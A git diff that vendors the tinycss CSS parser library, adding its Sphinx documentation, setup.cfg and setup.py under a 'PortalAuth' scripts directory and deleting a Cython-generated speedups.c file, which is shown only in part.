-0,0 +1,116 @@ +CSS 3 Modules +============= + +.. _selectors3: + +Selectors 3 +----------- + +.. currentmodule:: tinycss.css21 + +On :attr:`RuleSet.selector`, the :meth:`~.token_data.TokenList.as_css` method +can be used to serialize a selector back to an Unicode string. + + >>> import tinycss + >>> stylesheet = tinycss.make_parser().parse_stylesheet( + ... 'div.error, #root > section:first-letter { color: red }') + >>> selector_string = stylesheet.rules[0].selector.as_css() + >>> selector_string + 'div.error, #root > section:first-letter' + +This string can be parsed by cssselect_. The parsed objects have information +about pseudo-elements and selector specificity. + +.. _cssselect: http://packages.python.org/cssselect/ + + >>> import cssselect + >>> selectors = cssselect.parse(selector_string) + >>> [s.specificity() for s in selectors] + [(0, 1, 1), (1, 0, 2)] + >>> [s.pseudo_element for s in selectors] + [None, 'first-letter'] + +These objects can in turn be translated to XPath expressions. Note that +the translation ignores pseudo-elements, you have to account for them +somehow or reject selectors with pseudo-elements. + + >>> xpath = cssselect.HTMLTranslator().selector_to_xpath(selectors[1]) + >>> xpath + "descendant-or-self::*[@id = 'root']/section" + +Finally, the XPath expressions can be used with lxml_ to find the matching +elements. + + >>> from lxml import etree + >>> compiled_selector = etree.XPath(xpath) + >>> document = etree.fromstring('''
    + ... + ...
    + ... Lorem
    ipsum
    + ...
    + ...
    ''') + >>> [el.get('id') for el in compiled_selector(document)] + ['head', 'content'] + +.. _lxml: http://lxml.de/xpathxslt.html#xpath + +Find more details in the `cssselect documentation`_. + +.. _cssselect documentation: http://packages.python.org/cssselect/ + + +.. module:: tinycss.color3 + +Color 3 +------- + +This module implements parsing for the ** values, as defined in +`CSS 3 Color `_. + +The (deprecated) CSS2 system colors are not supported, but you can +easily test for them if you want as they are simple ``IDENT`` tokens. +For example:: + + if token.type == 'IDENT' and token.value == 'ButtonText': + return ... + +All other values types *are* supported: + +* Basic, extended (X11) and transparent color keywords; +* 3-digit and 6-digit hexadecimal notations; +* ``rgb()``, ``rgba()``, ``hsl()`` and ``hsla()`` functional notations. +* ``currentColor`` + +This module does not integrate with a parser class. Instead, it provides +a function that can parse tokens as found in :attr:`.css21.Declaration.value`, +for example. + +.. autofunction:: parse_color +.. autofunction:: parse_color_string +.. autoclass:: RGBA + + +.. module:: tinycss.page3 + +Paged Media 3 +------------- + +.. autoclass:: CSSPage3Parser +.. autoclass:: MarginRule + + +.. module:: tinycss.fonts3 + +Fonts 3 +------- + +.. autoclass:: CSSFonts3Parser +.. autoclass:: FontFaceRule +.. autoclass:: FontFeatureValuesRule +.. autoclass:: FontFeatureRule + + +Other CSS modules +----------------- + +To add support for new CSS syntax, see :ref:`extending`. diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst new file mode 100644 index 0000000..d688865 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst @@ -0,0 +1,97 @@ +.. _extending: + +Extending the parser +==================== + +Modules such as :mod:`.page3` extend the CSS 2.1 parser to add support for +CSS 3 syntax. +They do so by sub-classing :class:`.css21.CSS21Parser` and overriding/extending +some of its methods. If fact, the parser is made of methods in a class +(rather than a set of functions) solely to enable this kind of sub-classing. + +tinycss is designed to enable you to have parser subclasses outside of +tinycss, without monkey-patching. If however the syntax you added is for a +W3C specification, consider including your subclass in a new tinycss module +and send a pull request: see :ref:`hacking`. + + +.. currentmodule:: tinycss.css21 + +Example: star hack +------------------ + +.. _star hack: https://en.wikipedia.org/wiki/CSS_filter#Star_hack + +The `star hack`_ uses invalid declarations that are only parsed by some +versions of Internet Explorer. By default, tinycss ignores invalid +declarations and logs an error. + + >>> from tinycss.css21 import CSS21Parser + >>> css = '#elem { width: [W3C Model Width]; *width: [BorderBox Model]; }' + >>> stylesheet = CSS21Parser().parse_stylesheet(css) + >>> stylesheet.errors + [ParseError('Parse error at 1:35, expected a property name, got DELIM',)] + >>> [decl.name for decl in stylesheet.rules[0].declarations] + ['width'] + +If for example a minifier based on tinycss wants to support the star hack, +it can by extending the parser:: + + >>> class CSSStarHackParser(CSS21Parser): + ... def parse_declaration(self, tokens): + ... has_star_hack = (tokens[0].type == 'DELIM' and tokens[0].value == '*') + ... if has_star_hack: + ... tokens = tokens[1:] + ... declaration = super(CSSStarHackParser, self).parse_declaration(tokens) + ... declaration.has_star_hack = has_star_hack + ... return declaration + ... + >>> stylesheet = CSSStarHackParser().parse_stylesheet(css) + >>> stylesheet.errors + [] + >>> [(d.name, d.has_star_hack) for d in stylesheet.rules[0].declarations] + [('width', False), ('width', True)] + +This class extends the :meth:`~CSS21Parser.parse_declaration` method. +It removes any ``*`` delimeter :class:`~.token_data.Token` at the start of +a declaration, and adds a ``has_star_hack`` boolean attribute on parsed +:class:`Declaration` objects: ``True`` if a ``*`` was removed, ``False`` for +“normal” declarations. + + +Parser methods +-------------- + +In addition to methods of the user API (see :ref:`parsing`), here +are the methods of the CSS 2.1 parser that can be overriden or extended: + +.. automethod:: CSS21Parser.parse_rules +.. automethod:: CSS21Parser.read_at_rule +.. automethod:: CSS21Parser.parse_at_rule +.. automethod:: CSS21Parser.parse_media +.. automethod:: CSS21Parser.parse_page_selector +.. automethod:: CSS21Parser.parse_declarations_and_at_rules +.. automethod:: CSS21Parser.parse_ruleset +.. automethod:: CSS21Parser.parse_declaration_list +.. automethod:: CSS21Parser.parse_declaration +.. automethod:: CSS21Parser.parse_value_priority + +Unparsed at-rules +----------------- + +.. autoclass:: AtRule + + +.. module:: tinycss.parsing + +Parsing helper functions +------------------------ + +The :mod:`tinycss.parsing` module contains helper functions for parsing +tokens into a more structured form: + +.. autofunction:: strip_whitespace +.. autofunction:: split_on_comma +.. autofunction:: validate_value +.. autofunction:: validate_block +.. autofunction:: validate_any diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst new file mode 100644 index 0000000..8fbd613 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst @@ -0,0 +1,117 @@ +.. _hacking: + +Hacking tinycss +=============== + +.. highlight:: sh + +Bugs and feature requests +------------------------- + +Bug reports, feature requests and other issues should got to the +`tinycss issue tracker`_ on Github. Any suggestion or feedback is welcome. +Please include in full any error message, trackback or other detail that +could be helpful. + +.. _tinycss issue tracker: https://github.com/SimonSapin/tinycss/issues + + +Installing the development version +---------------------------------- + +First, get the latest git version:: + + git clone https://github.com/SimonSapin/tinycss.git + cd tinycss + +You will need Cython_ and pytest_. Installing in a virtualenv_ is recommended:: + + virtualenv env + . env/bin/activate + pip install Cython pytest + +.. _Cython: http://cython.org/ +.. _pytest: http://pytest.org/ +.. _virtualenv: http://www.virtualenv.org/ + +Then, install tinycss in-place with pip’s *editable mode*. This will also +build the accelerators:: + + pip install -e . + + +Running the test suite +---------------------- + +Once you have everything installed (see above), just run pytest from the +*tinycss* directory:: + + py.test + +If the accelerators are not available for some reason, use the +``TINYCSS_SKIP_SPEEDUPS_TESTS`` environment variable:: + + TINYCSS_SKIP_SPEEDUPS_TESTS=1 py.test + +If you get test failures on a fresh git clone, something may have gone wrong +during the installation. Otherwise, you probably found a bug. Please +`report it <#bugs-and-feature-requests>`_. + + +Test in multiple Python versions with tox +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +tox_ automatically creates virtualenvs for various Python versions and +runs the test suite there:: + + pip install tox + +Change to the project’s root directory and just run:: + + tox + +.. _tox: http://tox.testrun.org/ + +tinycss comes with a pre-configured ``tox.ini`` file to test in CPython +2.6, 2.7, 3.1 and 3.2 as well as PyPy. You can change that with the ``-e`` +parameter:: + + tox -e py27,py32 + +If you use ``--`` in the arguments passed to tox, further arguments +are passed to the underlying ``py.test`` command:: + + tox -- -x --pdb + + +Building the documentation +-------------------------- + +This documentation is made with Sphinx_:: + + pip install Sphinx + +.. _Sphinx: http://sphinx.pocoo.org/ + +To build the HTML version of the documentation, change to the project’s root +directory and run:: + + python setup.py build_sphinx + +The built HTML files are in ``docs/_build/html``. + + +Making a patch and a pull request +--------------------------------- + +If you would like to see something included in tinycss, please fork +`the repository `_ on Github +and make a pull request. Make sure to include tests for your change. + + +Mailing-list +------------ + +tinycss does not have a mailing-list of its own for now, but the +`WeasyPrint mailing-list `_ +is appropriate to discuss it. diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst new file mode 100644 index 0000000..541ff9d --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst @@ -0,0 +1,50 @@ +.. include:: ../README.rst + + +Requirements +------------ + +`tinycss is tested `_ on CPython 2.7, 3.3, +3.4 and 3.5 as well as PyPy 5.3 and PyPy3 2.4; it should work on any +implementation of **Python 2.7 or later version (including 3.x)** of the +language. + +Cython_ is used for optional accelerators but is only required for +development versions on tinycss. + +.. _Cython: http://cython.org/ + + +Installation +------------ + +Installing with `pip `_ should Just Work: + +.. code-block:: sh + + pip install tinycss + +The release tarballs contain pre-*cythoned* C files for the accelerators: +you will not need Cython to install like this. +If the accelerators fail to build for some reason, tinycss will +print a warning and fall back to a pure-Python installation. + + +Documentation +------------- + +.. Have this page in the sidebar, but do not show a link to itself here: + +.. toctree:: + :hidden: + + self + +.. toctree:: + :maxdepth: 2 + + parsing + css3 + extending + hacking + changelog diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst new file mode 100644 index 0000000..effd37d --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst @@ -0,0 +1,97 @@ +Parsing with tinycss +==================== + +.. highlight:: python + +Quickstart +---------- + +Import *tinycss*, make a parser object with the features you want, +and parse a stylesheet: + +.. doctest:: + + >>> import tinycss + >>> parser = tinycss.make_parser('page3') + >>> stylesheet = parser.parse_stylesheet_bytes(b'''@import "foo.css"; + ... p.error { color: red } @lorem-ipsum; + ... @page tables { size: landscape }''') + >>> stylesheet.rules + [, , ] + >>> stylesheet.errors + [ParseError('Parse error at 2:29, unknown at-rule in stylesheet context: @lorem-ipsum',)] + +You’ll get a :class:`~tinycss.css21.Stylesheet` object which contains +all the parsed content as well as a list of encountered errors. + + +Parsers +------- + +Parsers are subclasses of :class:`tinycss.css21.CSS21Parser`. Various +subclasses add support for more syntax. You can choose which features to +enable by making a new parser class with multiple inheritance, but there +is also a convenience function to do that: + +.. module:: tinycss + +.. autofunction:: make_parser + + +.. module:: tinycss.css21 +.. _parsing: + +Parsing a stylesheet +~~~~~~~~~~~~~~~~~~~~ + +Parser classes have three different methods to parse CSS stylesheet, +depending on whether you have a file, a byte string, or an Unicode string. + +.. autoclass:: CSS21Parser + :members: parse_stylesheet_file, parse_stylesheet_bytes, parse_stylesheet + + +Parsing a ``style`` attribute +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. automethod:: CSS21Parser.parse_style_attr + + +Parsed objects +-------------- + +These data structures make up the results of the various parsing methods. + +.. autoclass:: tinycss.parsing.ParseError() +.. autoclass:: Stylesheet() + +.. note:: + All subsequent objects have :obj:`line` and :obj:`column` attributes (not + repeated every time fore brevity) that indicate where in the CSS source + this object was read. + +.. autoclass:: RuleSet() +.. autoclass:: ImportRule() +.. autoclass:: MediaRule() +.. autoclass:: PageRule() +.. autoclass:: Declaration() + + +Tokens +------ + +Some parts of a stylesheet (such as selectors in CSS 2.1 or property values) +are not parsed by tinycss. They appear as tokens instead. + +.. module:: tinycss.token_data + +.. autoclass:: TokenList() + :member-order: bysource + :members: +.. autoclass:: Token() + :members: +.. autoclass:: tinycss.speedups.CToken() +.. autoclass:: ContainerToken() + :members: + +.. autoclass:: FunctionToken() diff --git a/PortalAuth/includes/scripts/libs/tinycss/setup.cfg b/PortalAuth/includes/scripts/libs/tinycss/setup.cfg new file mode 100644 index 0000000..2c35592 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/setup.cfg @@ -0,0 +1,23 @@ +[build_sphinx] +source-dir = docs +build-dir = docs/_build + +[upload_sphinx] +upload-dir = docs/_build/html + +[aliases] +test = pytest + +[tool:pytest] +addopts = --flake8 --isort --cov --ignore=test/cairosvg_reference +norecursedirs = dist .cache .git build *.egg-info .eggs venv cairosvg_reference +flake8-ignore = docs/conf.py ALL +isort_ignore = + docs/conf.py + setup.py + +[egg_info] +tag_build = +tag_date = 0 +tag_svn_revision = 0 + diff --git a/PortalAuth/includes/scripts/libs/tinycss/setup.py b/PortalAuth/includes/scripts/libs/tinycss/setup.py new file mode 100644 index 0000000..3c50f5b --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/setup.py @@ -0,0 +1,127 @@ +import os.path +import re +import sys +from distutils.errors import ( + CCompilerError, DistutilsExecError, DistutilsPlatformError) +from setuptools import Extension, setup + +try: + from Cython.Distutils import build_ext + import Cython.Compiler.Version + CYTHON_INSTALLED = True +except ImportError: + from distutils.command.build_ext import build_ext + CYTHON_INSTALLED = False + + +ext_errors = (CCompilerError, DistutilsExecError, DistutilsPlatformError) +if sys.platform == 'win32' and sys.version_info > (2, 6): + # 2.6's distutils.msvc9compiler can raise an IOError when failing to + # find the compiler + ext_errors += (IOError,) + + +class BuildFailed(Exception): + pass + + +class ve_build_ext(build_ext): + # This class allows C extension building to fail. + + def run(self): + try: + build_ext.run(self) + except DistutilsPlatformError: + raise BuildFailed + + def build_extension(self, ext): + try: + build_ext.build_extension(self, ext) + except ext_errors: + raise BuildFailed + + +ROOT = os.path.dirname(__file__) +with open(os.path.join(ROOT, 'tinycss', 'version.py')) as fd: + VERSION = re.search("VERSION = '([^']+)'", fd.read()).group(1) + +with open(os.path.join(ROOT, 'README.rst'), 'rb') as fd: + README = fd.read().decode('utf8') + + +needs_pytest = {'pytest', 'test', 'ptr'}.intersection(sys.argv) +pytest_runner = ['pytest-runner'] if needs_pytest else [] + + +def run_setup(with_extension): + if with_extension: + extension_path = os.path.join('tinycss', 'speedups') + if CYTHON_INSTALLED: + extension_path += '.pyx' + print('Building with Cython %s.' % Cython.Compiler.Version.version) + else: + extension_path += '.c' + if not os.path.exists(extension_path): + print("WARNING: Trying to build without Cython, but " + "pre-generated '%s' does not seem to be available." + % extension_path) + else: + print('Building without Cython.') + kwargs = dict( + cmdclass=dict(build_ext=ve_build_ext), + ext_modules=[Extension('tinycss.speedups', + sources=[extension_path])], + ) + else: + kwargs = dict() + + setup( + name='tinycss', + version=VERSION, + url='http://tinycss.readthedocs.io/', + license='BSD', + author='Simon Sapin', + author_email='simon.sapin@exyr.org', + description='tinycss is a complete yet simple CSS parser for Python.', + long_description=README, + classifiers=[ + 'Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: BSD License', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + 'Programming Language :: Python :: 3.5', + 'Programming Language :: Python :: Implementation :: CPython', + 'Programming Language :: Python :: Implementation :: PyPy', + ], + setup_requires=pytest_runner, + tests_require=[ + 'pytest-cov', 'pytest-flake8', 'pytest-isort', 'pytest-runner'], + extras_require={'test': ( + 'pytest-runner', 'pytest-cov', 'pytest-flake8', 'pytest-isort')}, + packages=['tinycss', 'tinycss.tests'], + **kwargs + ) + + +IS_PYPY = hasattr(sys, 'pypy_translation_info') +try: + run_setup(not IS_PYPY) +except BuildFailed: + BUILD_EXT_WARNING = ('WARNING: The extension could not be compiled, ' + 'speedups are not enabled.') + print('*' * 75) + print(BUILD_EXT_WARNING) + print('Failure information, if any, is above.') + print('Retrying the build without the Cython extension now.') + print('*' * 75) + + run_setup(False) + + print('*' * 75) + print(BUILD_EXT_WARNING) + print('Plain-Python installation succeeded.') + print('*' * 75) diff --git a/PortalAuth/includes/scripts/libs/tinycss/speedups.c b/PortalAuth/includes/scripts/libs/tinycss/speedups.c deleted file mode 100755 index f3fce77..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/speedups.c +++ /dev/null @@ -1,5375 +0,0 @@ -/* Generated by Cython 0.15.1 on Tue Aug 21 18:52:40 2012 */ - -#define PY_SSIZE_T_CLEAN -#include "Python.h" -#ifndef Py_PYTHON_H - #error Python headers needed to compile C extensions, please install development version of Python. -#else - -#include /* For offsetof */ -#ifndef offsetof -#define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) -#endif - -#if !defined(WIN32) && !defined(MS_WINDOWS) - #ifndef __stdcall - #define __stdcall - #endif - #ifndef __cdecl - #define __cdecl - #endif - #ifndef __fastcall - #define __fastcall - #endif -#endif - -#ifndef DL_IMPORT - #define DL_IMPORT(t) t -#endif -#ifndef DL_EXPORT - #define DL_EXPORT(t) t -#endif - -#ifndef PY_LONG_LONG - #define PY_LONG_LONG LONG_LONG -#endif - -#if PY_VERSION_HEX < 0x02040000 - #define METH_COEXIST 0 - #define PyDict_CheckExact(op) (Py_TYPE(op) == &PyDict_Type) - #define PyDict_Contains(d,o) PySequence_Contains(d,o) -#endif - -#if PY_VERSION_HEX < 0x02050000 - typedef int Py_ssize_t; - #define PY_SSIZE_T_MAX INT_MAX - #define PY_SSIZE_T_MIN INT_MIN - #define PY_FORMAT_SIZE_T "" - #define PyInt_FromSsize_t(z) PyInt_FromLong(z) - #define PyInt_AsSsize_t(o) __Pyx_PyInt_AsInt(o) - #define PyNumber_Index(o) PyNumber_Int(o) - #define PyIndex_Check(o) PyNumber_Check(o) - #define PyErr_WarnEx(category, message, stacklevel) PyErr_Warn(category, message) -#endif - -#if PY_VERSION_HEX < 0x02060000 - #define Py_REFCNT(ob) (((PyObject*)(ob))->ob_refcnt) - #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) - #define Py_SIZE(ob) (((PyVarObject*)(ob))->ob_size) - #define PyVarObject_HEAD_INIT(type, size) \ - PyObject_HEAD_INIT(type) size, - #define PyType_Modified(t) - - typedef struct { - void *buf; - PyObject *obj; - Py_ssize_t len; - Py_ssize_t itemsize; - int readonly; - int ndim; - char *format; - Py_ssize_t *shape; - Py_ssize_t *strides; - Py_ssize_t *suboffsets; - void *internal; - } Py_buffer; - - #define PyBUF_SIMPLE 0 - #define PyBUF_WRITABLE 0x0001 - #define PyBUF_FORMAT 0x0004 - #define PyBUF_ND 0x0008 - #define PyBUF_STRIDES (0x0010 | PyBUF_ND) - #define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES) - #define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES) - #define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES) - #define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES) - -#endif - -#if PY_MAJOR_VERSION < 3 - #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" -#else - #define __Pyx_BUILTIN_MODULE_NAME "builtins" -#endif - -#if PY_MAJOR_VERSION >= 3 - #define Py_TPFLAGS_CHECKTYPES 0 - #define Py_TPFLAGS_HAVE_INDEX 0 -#endif - -#if (PY_VERSION_HEX < 0x02060000) || (PY_MAJOR_VERSION >= 3) - #define Py_TPFLAGS_HAVE_NEWBUFFER 0 -#endif - -#if PY_MAJOR_VERSION >= 3 - #define PyBaseString_Type PyUnicode_Type - #define PyStringObject PyUnicodeObject - #define PyString_Type PyUnicode_Type - #define PyString_Check PyUnicode_Check - #define PyString_CheckExact PyUnicode_CheckExact -#endif - -#if PY_VERSION_HEX < 0x02060000 - #define PyBytesObject PyStringObject - #define PyBytes_Type PyString_Type - #define PyBytes_Check PyString_Check - #define PyBytes_CheckExact PyString_CheckExact - #define PyBytes_FromString PyString_FromString - #define PyBytes_FromStringAndSize PyString_FromStringAndSize - #define PyBytes_FromFormat PyString_FromFormat - #define PyBytes_DecodeEscape PyString_DecodeEscape - #define PyBytes_AsString PyString_AsString - #define PyBytes_AsStringAndSize PyString_AsStringAndSize - #define PyBytes_Size PyString_Size - #define PyBytes_AS_STRING PyString_AS_STRING - #define PyBytes_GET_SIZE PyString_GET_SIZE - #define PyBytes_Repr PyString_Repr - #define PyBytes_Concat PyString_Concat - #define PyBytes_ConcatAndDel PyString_ConcatAndDel -#endif - -#if PY_VERSION_HEX < 0x02060000 - #define PySet_Check(obj) PyObject_TypeCheck(obj, &PySet_Type) - #define PyFrozenSet_Check(obj) PyObject_TypeCheck(obj, &PyFrozenSet_Type) -#endif -#ifndef PySet_CheckExact - #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) -#endif - -#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) - -#if PY_MAJOR_VERSION >= 3 - #define PyIntObject PyLongObject - #define PyInt_Type PyLong_Type - #define PyInt_Check(op) PyLong_Check(op) - #define PyInt_CheckExact(op) PyLong_CheckExact(op) - #define PyInt_FromString PyLong_FromString - #define PyInt_FromUnicode PyLong_FromUnicode - #define PyInt_FromLong PyLong_FromLong - #define PyInt_FromSize_t PyLong_FromSize_t - #define PyInt_FromSsize_t PyLong_FromSsize_t - #define PyInt_AsLong PyLong_AsLong - #define PyInt_AS_LONG PyLong_AS_LONG - #define PyInt_AsSsize_t PyLong_AsSsize_t - #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask - #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask -#endif - -#if PY_MAJOR_VERSION >= 3 - #define PyBoolObject PyLongObject -#endif - -#if PY_VERSION_HEX < 0x03020000 - typedef long Py_hash_t; - #define __Pyx_PyInt_FromHash_t PyInt_FromLong - #define __Pyx_PyInt_AsHash_t PyInt_AsLong -#else - #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t - #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t -#endif - - -#if PY_MAJOR_VERSION >= 3 - #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) - #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) -#else - #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) - #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) -#endif - -#if (PY_MAJOR_VERSION < 3) || (PY_VERSION_HEX >= 0x03010300) - #define __Pyx_PySequence_GetSlice(obj, a, b) PySequence_GetSlice(obj, a, b) - #define __Pyx_PySequence_SetSlice(obj, a, b, value) PySequence_SetSlice(obj, a, b, value) - #define __Pyx_PySequence_DelSlice(obj, a, b) PySequence_DelSlice(obj, a, b) -#else - #define __Pyx_PySequence_GetSlice(obj, a, b) (unlikely(!(obj)) ? \ - (PyErr_SetString(PyExc_SystemError, "null argument to internal routine"), (PyObject*)0) : \ - (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_GetSlice(obj, a, b)) : \ - (PyErr_Format(PyExc_TypeError, "'%.200s' object is unsliceable", (obj)->ob_type->tp_name), (PyObject*)0))) - #define __Pyx_PySequence_SetSlice(obj, a, b, value) (unlikely(!(obj)) ? \ - (PyErr_SetString(PyExc_SystemError, "null argument to internal routine"), -1) : \ - (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_SetSlice(obj, a, b, value)) : \ - (PyErr_Format(PyExc_TypeError, "'%.200s' object doesn't support slice assignment", (obj)->ob_type->tp_name), -1))) - #define __Pyx_PySequence_DelSlice(obj, a, b) (unlikely(!(obj)) ? \ - (PyErr_SetString(PyExc_SystemError, "null argument to internal routine"), -1) : \ - (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_DelSlice(obj, a, b)) : \ - (PyErr_Format(PyExc_TypeError, "'%.200s' object doesn't support slice deletion", (obj)->ob_type->tp_name), -1))) -#endif - -#if PY_MAJOR_VERSION >= 3 - #define PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) -#endif - -#if PY_VERSION_HEX < 0x02050000 - #define __Pyx_GetAttrString(o,n) PyObject_GetAttrString((o),((char *)(n))) - #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),((char *)(n)),(a)) - #define __Pyx_DelAttrString(o,n) PyObject_DelAttrString((o),((char *)(n))) -#else - #define __Pyx_GetAttrString(o,n) PyObject_GetAttrString((o),(n)) - #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),(n),(a)) - #define __Pyx_DelAttrString(o,n) PyObject_DelAttrString((o),(n)) -#endif - -#if PY_VERSION_HEX < 0x02050000 - #define __Pyx_NAMESTR(n) ((char *)(n)) - #define __Pyx_DOCSTR(n) ((char *)(n)) -#else - #define __Pyx_NAMESTR(n) (n) - #define __Pyx_DOCSTR(n) (n) -#endif - -#ifndef __PYX_EXTERN_C - #ifdef __cplusplus - #define __PYX_EXTERN_C extern "C" - #else - #define __PYX_EXTERN_C extern - #endif -#endif - -#if defined(WIN32) || defined(MS_WINDOWS) -#define _USE_MATH_DEFINES -#endif -#include -#define __PYX_HAVE__tinycss__speedups -#define __PYX_HAVE_API__tinycss__speedups -#ifdef _OPENMP -#include -#endif /* _OPENMP */ - -#ifdef PYREX_WITHOUT_ASSERTIONS -#define CYTHON_WITHOUT_ASSERTIONS -#endif - - -/* inline attribute */ -#ifndef CYTHON_INLINE - #if defined(__GNUC__) - #define CYTHON_INLINE __inline__ - #elif defined(_MSC_VER) - #define CYTHON_INLINE __inline - #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L - #define CYTHON_INLINE inline - #else - #define CYTHON_INLINE - #endif -#endif - -/* unused attribute */ -#ifndef CYTHON_UNUSED -# if defined(__GNUC__) -# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) -# define CYTHON_UNUSED __attribute__ ((__unused__)) -# else -# define CYTHON_UNUSED -# endif -# elif defined(__ICC) || defined(__INTEL_COMPILER) -# define CYTHON_UNUSED __attribute__ ((__unused__)) -# else -# define CYTHON_UNUSED -# endif -#endif - -typedef struct {PyObject **p; char *s; const long n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; /*proto*/ - - -/* Type Conversion Predeclarations */ - -#define __Pyx_PyBytes_FromUString(s) PyBytes_FromString((char*)s) -#define __Pyx_PyBytes_AsUString(s) ((unsigned char*) PyBytes_AsString(s)) - -#define __Pyx_Owned_Py_None(b) (Py_INCREF(Py_None), Py_None) -#define __Pyx_PyBool_FromLong(b) ((b) ? (Py_INCREF(Py_True), Py_True) : (Py_INCREF(Py_False), Py_False)) -static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); -static CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x); - -static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); -static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); -static CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject*); - -#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) - - -#ifdef __GNUC__ - /* Test for GCC > 2.95 */ - #if __GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95)) - #define likely(x) __builtin_expect(!!(x), 1) - #define unlikely(x) __builtin_expect(!!(x), 0) - #else /* __GNUC__ > 2 ... */ - #define likely(x) (x) - #define unlikely(x) (x) - #endif /* __GNUC__ > 2 ... */ -#else /* __GNUC__ */ - #define likely(x) (x) - #define unlikely(x) (x) -#endif /* __GNUC__ */ - -static PyObject *__pyx_m; -static PyObject *__pyx_b; -static PyObject *__pyx_empty_tuple; -static PyObject *__pyx_empty_bytes; -static int __pyx_lineno; -static int __pyx_clineno = 0; -static const char * __pyx_cfilenm= __FILE__; -static const char *__pyx_filename; - - -static const char *__pyx_f[] = { - "speedups.pyx", -}; - -static PyObject *__Pyx_Generator_Next(PyObject *self); -static PyObject *__Pyx_Generator_Send(PyObject *self, PyObject *value); -static PyObject *__Pyx_Generator_Close(PyObject *self); -static PyObject *__Pyx_Generator_Throw(PyObject *gen, PyObject *args, CYTHON_UNUSED PyObject *kwds); - -typedef PyObject *(*__pyx_generator_body_t)(PyObject *, PyObject *); - -/*--- Type declarations ---*/ -struct __pyx_Generator_object; -struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr; -struct __pyx_obj_7tinycss_8speedups_CToken; - -/* "tinycss/speedups.pyx":22 - * - * COMPILED_TOKEN_INDEXES = dict( - * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< - * - * - */ -struct __pyx_Generator_object { - PyObject_HEAD - __pyx_generator_body_t body; - int is_running; - int resume_label; - PyObject *exc_type; - PyObject *exc_value; - PyObject *exc_traceback; -}; - -struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr { - struct __pyx_Generator_object __pyx_base; - PyObject *__pyx_v_i; - PyObject *__pyx_v_name; - PyObject *__pyx_v_regexp; - PyObject *__pyx_t_0; - PyObject *__pyx_t_1; - Py_ssize_t __pyx_t_2; - PyObject *(*__pyx_t_3)(PyObject *); -}; - - -/* "tinycss/speedups.pyx":25 - * - * - * cdef class CToken: # <<<<<<<<<<<<<< - * """A token built by the Cython speedups. Identical to - * :class:`~.token_data.Token`. - */ -struct __pyx_obj_7tinycss_8speedups_CToken { - PyObject_HEAD - PyObject *type; - PyObject *_as_css; - PyObject *value; - PyObject *unit; - Py_ssize_t line; - Py_ssize_t column; -}; - - -#ifndef CYTHON_REFNANNY - #define CYTHON_REFNANNY 0 -#endif - -#if CYTHON_REFNANNY - typedef struct { - void (*INCREF)(void*, PyObject*, int); - void (*DECREF)(void*, 